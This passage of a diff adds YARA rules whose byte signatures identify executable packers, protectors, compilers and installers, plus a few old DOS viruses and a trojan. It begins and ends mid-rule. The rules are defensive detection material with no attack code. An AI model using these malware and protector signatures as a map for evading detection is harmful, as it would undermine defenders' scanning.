+	condition:
+		$0
+}
+rule _PseudoSigner_01_PENinja_131__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PENinja 1.31] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E9}
+		$1 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PKLITE_v200b_extra_
+{
+	meta:
+		description = "PKLITE v2.00b [extra]"
+	strings:
+		$0 = {50 B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 02 00 72 ?? B4 09 BA ?? ?? CD 21 B8 01 4C CD 21 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EA ?? ?? ?? ?? F3 A5 C3 59 2D ?? ?? 8E D0 51 2D ?? ?? 50 80}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_v20_RC2_
+{
+	meta:
+		description = "Nullsoft Install System v2.0 RC2"
+	strings:
+		$0 = {83 EC 10 53 55 56 57 C7 44 24 14 70 92 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00}
+	condition:
+		$0
+}
+rule _PKLITE_v100c_2_
+{
+	meta:
+		description = "PKLITE v1.00c (2)"
+	strings:
+		$0 = {BA ?? ?? A1 ?? ?? 2D ?? ?? 8C CB 81 C3 ?? ?? 3B C3 77 ?? 05 ?? ?? 3B C3 77 ?? B4 09 BA ?? ?? CD 21 CD 20 90}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_117_DLL_LZMA__Ap0x_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 DLL [LZMA] -> Ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 EB 09 00 00 89 85}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v182_
+{
+	meta:
+		description = "Armadillo v1.82"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E0 C1 40 00 68 74 81 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 E0 C1 40 00 68 74 81 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PocketPC_ARM_
+{
+	meta:
+		description = "PocketPC ARM"
+	strings:
+		$0 = {F0 40 2D E9 00 40 A0 E1 01 50 A0 E1 02 60 A0 E1 03 70 A0 E1 ?? 00 00 EB 07 30 A0 E1 06 20 A0 E1 05 10 A0 E1 04 00 A0 E1 ?? ?? ?? EB F0 40 BD E8 ?? 00 00 EA ?? 40 2D E9 ?? ?? 9F E5 ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 9F E5 00 ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PLINK86_1984_1985_
+{
+	meta:
+		description = "PLINK86 1984, 1985"
+	strings:
+		$0 = {FA 8C C7 8C D6 8B CC BA ?? ?? 8E C2 26}
+	condition:
+		$0 at entrypoint
+}
+rule _Software_Compress_v12__BG_Software_Protect_Technologies_
+{
+	meta:
+		description = "Software Compress v1.2 -> BG Software Protect Technologies"
+	strings:
+		$0 = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 FF 74 24 24 6A 40 FF 95 1A 0F 41 00 89 44 24 1C 61 C2 04 00 E8 00 00 00 00 81 2C 24 3A 10 41 00 5D E8 00 00 00 00 81 2C 24 31 01 00 00 8B 85 2A 0F 41 00 29 04 24}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_14_
+{
+	meta:
+		description = "Petite 1.4"
+	strings:
+		$0 = {66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC}
+	condition:
+		$0
+}
+rule _Password_protector_my_SMT_
+{
+	meta:
+		description = "Password protector my SMT"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 5D 8B FD 81 ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 46 80 ?? ?? 74}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_v098_m_
+{
+	meta:
+		description = "aPack v0.98 -m"
+	strings:
+		$0 = {1E 06 8C C8 8E D8 05 ?? ?? 8E C0 50 BE ?? ?? 33 FF FC B2 ?? BD ?? ?? 33 C9 50 A4 BB ?? ?? 3B F3 76}
+	condition:
+		$0
+}
+rule _Armadillo_v171_
+{
+	meta:
+		description = "Armadillo v1.71"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Crypter_13__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Crypter 1.3 -> Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 6C 28 40 00 B9 5D 34 40 00 81 E9 C6 28 40 00 8B D5 81 C2 C6 28 40 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_TrojanTelefoon_
+{
+	meta:
+		description = "Vx: Trojan.Telefoon"
+	strings:
+		$0 = {60 1E E8 3B 01 BF CC 01 2E 03 3E CA 01 2E C7 05}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v0978_
+{
+	meta:
+		description = "PECompact v0.978"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 24 88 40 ?? 87 DD 8B 85 A9 88}
+	condition:
+		$0 at entrypoint
+}
+rule _PocketPC_SHA_
+{
+	meta:
+		description = "PocketPC SHA"
+	strings:
+		$0 = {86 2F 96 2F A6 2F B6 2F 22 4F 43 68 53 6B 63 6A 73 69 F0 7F 0B D0 0B 40 09 00 09 D0 B3 65 A3 66 93 67 0B 40 83 64 03 64 04 D0 0B 40 09 00 10 7F 26 4F F6 6B F6 6A F6 69 0B 00 F6 68 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 22 4F F0 7F 0A D0 06 D4 06 D5 0B 40 09}
+	condition:
+		$0 at entrypoint
+}
+rule _Lattice_C_v101_
+{
+	meta:
+		description = "Lattice C v1.01"
+	strings:
+		$0 = {FA B8 ?? ?? 05 ?? ?? B1 ?? D3 E8 8C CB 03 C3 8E D8 8E D0 26 ?? ?? ?? ?? 2B D8 F7 ?? ?? ?? 75 ?? B1 ?? D3 E3 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _WinZip_SelfExtractor_22_personal_edition__WinZip_Computing_h_
+{
+	meta:
+		description = "WinZip Self-Extractor 2.2 personal edition -> WinZip Computing (h)"
+	strings:
+		$0 = {53 FF 15 58 70 40 00 B3 22 38 18 74 03 80 C3 FE 40 33 D2 8A 08 3A CA 74 10 3A CB 74 07 40 8A 08 3A CA 75 F5 38 10 74 01 40 52 50 52 52 FF 15 5C 70 40 00 50 E8 15 FB FF FF 50 FF 15 8C 70 40 00 5B}
+	condition:
+		$0 at entrypoint
+}
+rule _XCR_v012_
+{
+	meta:
+		description = "XCR v0.12"
+	strings:
+		$0 = {60 9C E8 ?? ?? ?? ?? 8B DD 5D 81 ED ?? ?? ?? ?? 89 9D}
+	condition:
+		$0 at entrypoint
+}
+rule _EXEPACK_LINK_v360_v364_v365_or_50121_
+{
+	meta:
+		description = "EXEPACK (LINK) v3.60, v3.64, v3.65 or 5.01.21"
+	strings:
+		$0 = {8C C0 05 ?? ?? 0E 1F A3 ?? ?? 03 ?? ?? ?? 8E C0 8B ?? ?? ?? 8B ?? 4F 8B F7 FD F3 A4 50 B8 ?? ?? 50 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _SCRAM_v08a1_
+{
+	meta:
+		description = "SCRAM! v0.8a1"
+	strings:
+		$0 = {B4 30 CD 21 3C 02 77 ?? CD 20 BC ?? ?? B9 ?? ?? 8B FC B2 ?? 58 4C}
+	condition:
+		$0 at entrypoint
+}
+rule _CERBERUS_v20_
+{
+	meta:
+		description = "CERBERUS v2.0"
+	strings:
+		$0 = {9C 2B ED 8C ?? ?? 8C ?? ?? FA E4 ?? 88 ?? ?? 16 07 BF ?? ?? 8E DD 9B F5 B9 ?? ?? FC F3 A5}
+	condition:
+		$0 at entrypoint
+}
+rule _Gamehouse_Media_Protector_Version_Unknown_
+{
+	meta:
+		description = "Gamehouse Media Protector Version Unknown"
+	strings:
+		$0 = {68 ?? ?? ?? ?? 6A 00 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v301_v305_
+{
+	meta:
+		description = "Armadillo v3.01, v3.05"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F}
+		$1 = {60 E8 00 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01_Borland_Delphi_60__70__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Borland Delphi 6.0 - 7.0] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 53 8B D8 33 C0 A3 09 09 09 00 6A 00 E8 09 09 00 FF A3 09 09 09 00 A1 09 09 09 00 A3 09 09 09 00 33 C0 A3 09 09 09 00 33 C0 A3 09 09 09 00 E8}
+		$1 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 53 8B D8 33 C0 A3 09 09 09 00 6A 00 E8 09 09 00 FF A3 09 09 09 00 A1 09 09 09 00 A3 09 09 09 00 33 C0 A3 09 09 09 00 33 C0 A3 09 09 09 00 E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SoftDefender_1x__Randy_Li_
+{
+	meta:
+		description = "SoftDefender 1.x -> Randy Li"
+	strings:
+		$0 = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD 00 59 9C 50 74 0A 75 08 E8 59 C2 04 00 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 E6 01 00 00 03 C8 74 BD 75 BB E8 00}
+	condition:
+		$0 at entrypoint
+}
+rule _with_added_PK_signature_
+{
+	meta:
+		description = "with added 'PK' signature"
+	strings:
+		$0 = {C7 ?? ?? ?? ?? ?? 8C D8 05}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v133_Eng__dulekxt_
+{
+	meta:
+		description = "FSG v1.33 (Eng) -> dulek/xt"
+	strings:
+		$0 = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75 3C AA EB E0 FF 53 08 02 F6 83 D9 01 75 0E FF 53 04 EB 26 AC D1 E8 74 2F 13 C9 EB 1A 91 48 C1 E0 08 AC FF 53 04 3D 00 7D}
+		$1 = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75 3C AA EB E0 FF 53 08 02 F6 83 D9 01 75 0E FF 53 04 EB 26 AC D1 E8 74 2F 13 C9 EB 1A 91 48 C1 E0 08 AC FF 53 04 3D 00 7D}
+		$2 = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _by_Central_Point_Software_
+{
+	meta:
+		description = "by Central Point Software"
+	strings:
+		$0 = {50 51 52 56 57 8B EB 1E 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_August_16th_Iron_Maiden_
+{
+	meta:
+		description = "Vx: August 16th (Iron Maiden)"
+	strings:
+		$0 = {BA 79 02 03 D7 B4 1A CD 21 B8 24 35 CD 21 5F 57 89 9D 4E 02 8C 85 50 02}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v02Beta_
+{
+	meta:
+		description = "Upack v0.2Beta"
+	strings:
+		$0 = {BE 88 01 ?? ?? AD 8B F8 95 A5 33 C0 33}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_v153_
+{
+	meta:
+		description = "EXECryptor v1.5.3"
+	strings:
+		$0 = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 ?? ?? 00 31 C0 89 41 14 89 41 18 80 A1 C1 00 00 00 FE C3 31 C0 64 FF 30 64 89 20 CC C3}
+		$1 = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 ?? ?? 00 31 C0 89 41 14 89 41 18 80 A1 C1 00 00 00 FE C3 31 C0 64 FF 30 64 89 20 CC C3}
+	condition:
+		$0 or $1
+}
+rule _SOFTWrapper_for_Win9xNT_Evaluation_Version_
+{
+	meta:
+		description = "SOFTWrapper for Win9x/NT (Evaluation Version)"
+	strings:
+		$0 = {E8 00 00 00 00 5D 8B C5 2D ?? ?? ?? 00 50 81 ED 05 00 00 00 8B C5 2B 85 03 0F 00 00 89 85 03 0F 00 00 8B F0 03 B5 0B 0F 00 00 8B F8 03 BD 07 0F 00 00 83 7F 0C 00 74 2B 56 57 8B 7F 10 03 F8 8B 76 10 03 F0 83 3F 00 74 0C 8B 1E 89 1F 83 C6 04 83 C7 04 EB EF}
+	condition:
+		$0 at entrypoint
+}
+rule _Mew_10_v10_Eng__Northfox_
+{
+	meta:
+		description = "Mew 10 v1.0 (Eng) -> Northfox"
+	strings:
+		$0 = {33 C0 E9 ?? ?? ?? FF}
+	condition:
+		$0 at entrypoint
+}
+rule _themida_1005__httpwwworeanscom_
+{
+	meta:
+		description = "themida 1.0.0.5 -> http://www.oreans.com"
+	strings:
+		$0 = {B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44}
+	condition:
+		$0 at entrypoint
+}
+rule _CrypKey_v5__v6_
+{
+	meta:
+		description = "CrypKey v5 - v6"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 58 83 E8 05 50 5F 57 8B F7 81 EF ?? ?? ?? ?? 83 C6 39 BA ?? ?? ?? ?? 8B DF B9 0B ?? ?? ?? 8B 06}
+	condition:
+		$0 at entrypoint
+}
+rule _PEBundle_v02__v20x_
+{
+	meta:
+		description = "PEBundle v0.2 - v2.0x"
+	strings:
+		$0 = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 6A 04 68 ?? 10 ?? ?? 68 ?? 02 ?? ?? 6A ?? FF 95}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_v151x_
+{
+	meta:
+		description = "EXECryptor v1.5.1.x"
+	strings:
+		$0 = {E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 B8 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1 C1 ?? ?? ?? FE C3 31 C0 64 FF 30 64 89 20 CC C3}
+		$1 = {E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 B8 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1 C1 ?? ?? ?? FE C3 31 C0 64 FF 30 64 89 20 CC C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PESHiELD_v025_
+{
+	meta:
+		description = "PESHiELD v0.25"
+	strings:
+		$0 = {60 E8 2B 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Vcasm_Protector_V1X__vcasm_
+{
+	meta:
+		description = "Vcasm Protector V1.X -> vcasm"
+	strings:
+		$0 = {EB ?? 5B 56 50 72 6F 74 65 63 74 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _Macromedia_Windows_Flash_ProjectorPlayer_v40_
+{
+	meta:
+		description = "Macromedia Windows Flash Projector/Player v4.0"
+	strings:
+		$0 = {83 EC 44 56 FF 15 24 41 43 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _PCGuard_v303d_v305d_
+{
+	meta:
+		description = "PC-Guard v3.03d, v3.05d"
+	strings:
+		$0 = {55 50 E8 ?? ?? ?? ?? 5D EB 01 E3 60 E8 03 ?? ?? ?? D2 EB 0B 58 EB 01 48 40 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _XJ__XPAL__LiNSoN_
+{
+	meta:
+		description = "XJ / XPAL -> LiNSoN"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 44 53 56 57 66 9C}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeShield_v37__ExeShield_Team_h_
+{
+	meta:
+		description = "ExeShield v3.7 -> ExeShield Team (h)"
+	strings:
+		$0 = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC E9 FB C8 4F 1B 22 7C B4 C8 0D BD 71 A9 C8 1F 5F B1 29 8F 11 73 8F 00 D1 88 87 A9 3F 4D 00 6C 3C BF C0 80 F7 AD 35 23 EB 84 82 6F}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_C_v104_
+{
+	meta:
+		description = "Microsoft C v1.04"
+	strings:
+		$0 = {FA B8 ?? ?? 8E D8 8E D0 26 8B ?? ?? ?? 2B D8 F7 ?? ?? ?? 75 ?? B1 04 D3 E3 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v172__v173_
+{
+	meta:
+		description = "Armadillo v1.72 - v1.73"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E8 C1 ?? ?? 68 F4 86 ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _PECrc32_088__ZhouJinYu_
+{
+	meta:
+		description = "PECrc32 0.88 -> ZhouJinYu"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED B6 A4 45 00 8D BD B0 A4 45 00 81 EF 82 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_FSG_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [FSG 1.0] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 BB D0 01 40 00 BF 00 10 40 00 BE 90 90 90 90 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B E9}
+		$1 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 BB D0 01 40 00 BF 00 10 40 00 BE 90 90 90 90 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _beria_v007_public_WIP__symbiont_h_
+{
+	meta:
+		description = "beria v0.07 public WIP --> symbiont (h)"
+	strings:
+		$0 = {83 EC 18 53 8B 1D 00 30 ?? ?? 55 56 57 68 30 07 00 00 33 ED 55 FF D3 8B F0 3B F5 74 0D 89 AE 20 07 00 00 E8 88 0F 00 00 EB 02 33 F6 6A 10 55 89 35 30 40 ?? ?? FF D3 8B F0 3B F5 74 09 89 2E E8 3C FE FF FF EB 02 33 F6 6A 18 55 89 35 D8 43 ?? ?? FF D3 8B F0}
+	condition:
+		$0 at entrypoint
+}
+rule _BeRoEXEPacker_v100_DLL_LZBRS__BeRo__Farbrausch_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 DLL [LZBRS] -> BeRo / Farbrausch"
+	strings:
+		$0 = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 ?? ?? ?? ?? 72 03 A4 EB F2 E8 ?? ?? ?? ?? 8D 51 FF E8 ?? ?? ?? ?? 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Yodas_Protector_102__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Yoda's Protector 1.02] --> Anorganix"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 90 90}
+		$1 = {E8 03 00 00 00 EB 01 90 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_v037__v038_Beta_Strip_base_relocation_table_Option_Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack v0.37 ~ v0.38 Beta (Strip base relocation table Option)-> Sign by hot_UNP"
+	strings:
+		$0 = {53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 33}
+	condition:
+		$0
+}
+rule _HACKSTOP_v119_
+{
+	meta:
+		description = "HACKSTOP v1.19"
+	strings:
+		$0 = {52 BA ?? ?? 5A EB ?? 9A ?? ?? ?? ?? 30 CD 21 ?? ?? ?? D6 02 ?? ?? CD 20 0E 1F 52 BA ?? ?? 5A EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v260b2_
+{
+	meta:
+		description = "Armadillo v2.60b2"
+	strings:
+		$0 = {55 8B EC 6A FF 68 90 ?? ?? ?? 68 24 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 60 ?? ?? ?? 33 D2 8A D4 89 15 3C}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v130_Eng__dulekxt_
+{
+	meta:
+		description = "FSG v1.30 (Eng) -> dulek/xt"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00}
+	condition:
+		$0 at entrypoint
+}
+rule _JAM_v211_
+{
+	meta:
+		description = "JAM v2.11"
+	strings:
+		$0 = {50 06 16 07 BE ?? ?? 8B FE B9 ?? ?? FD FA F3 2E A5 FB 06 BD ?? ?? 55 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Extr_Passwcheck_Vir_shield_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Extr. Passw.check. Vir. shield)"
+	strings:
+		$0 = {03 05 C0 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_v23__North_Star_h_
+{
+	meta:
+		description = "NsPack v2.3 -> North Star (h)"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 8B 06 83 F8 00 74 11 8D B5 ?? ?? FF FF 8B 06 83 F8 01 0F 84 4B 02 00 00 C7 06 01 00 00 00 8B D5 8B 85 ?? ?? FF FF 2B D0 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 8B 36 8B FD}
+	condition:
+		$0
+}
+rule _PECompact_v147__v150_
+{
+	meta:
+		description = "PECompact v1.47 - v1.50"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 5B 12}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_FullEdition_V11X__ap0x____SignByfly_
+{
+	meta:
+		description = "RLPack FullEdition V1.1X -> ap0x   * Sign.By.fly"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 10}
+	condition:
+		$0
+}
+rule _CPAV_
+{
+	meta:
+		description = "CPAV"
+	strings:
+		$0 = {E8 ?? ?? 4D 5A B1 01 93 01 00 00 02}
+	condition:
+		$0 at entrypoint
+}
+rule _PassEXE_v20_
+{
+	meta:
+		description = "PassEXE v2.0"
+	strings:
+		$0 = {06 1E 0E 0E 07 1F BE ?? ?? B9 ?? ?? 87 14 81 ?? ?? ?? EB ?? C7 ?? ?? ?? 84 00 87 ?? ?? ?? FB 1F 58 4A}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Shield_V05__Smoke_
+{
+	meta:
+		description = "EXE Shield V0.5 -> Smoke"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED BC 1A 40 00 EB 01 00 8D B5 46 1B 40 00 BA B3 0A 00 00 EB 01 00 8D 8D F9 25 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_098_Special_Build__forgot__heXer_
+{
+	meta:
+		description = "tElock 0.98 Special Build -> forgot & heXer"
+	strings:
